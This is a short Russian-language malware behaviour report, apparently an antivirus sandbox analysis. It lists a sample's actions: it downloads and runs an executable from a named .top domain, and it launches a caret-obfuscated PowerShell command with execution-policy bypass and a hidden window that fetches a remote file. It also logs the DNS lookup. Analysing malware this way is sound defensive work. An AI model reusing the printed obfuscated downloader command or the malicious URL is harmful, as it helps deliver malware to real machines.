Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://hometowergop.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^O^wErsh^E^lL.E^x^e^ -^e^X^e^C^UtION^p^olic^y B^YPAS^S^ -^nOpR^OFI^LE -^WiNDOWs^Ty^le^ Hi^dd^EN ^(new^-^oBJ^e^C^t ^S^ysTe^M^.^Ne^T.^W^Eb^CL^iENt^).^dOwN^loa^dF^Ile(^'http...
Сетевая активность
UDP
- DNS ASK ho####wergop.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^O^wErsh^E^lL.E^x^e^ -^e^X^e^C^UtION^p^olic^y B^YPAS^S^ -^nOpR^OFI^LE -^WiNDOWs^Ty^le^ Hi^dd^EN ^(new^-^oBJ^e^C^t ^S^ysTe^M^.^Ne^T.^W^Eb^CL^iENt^).^dOwN^loa^dF^Ile(^'http...' (со скрытым окном)
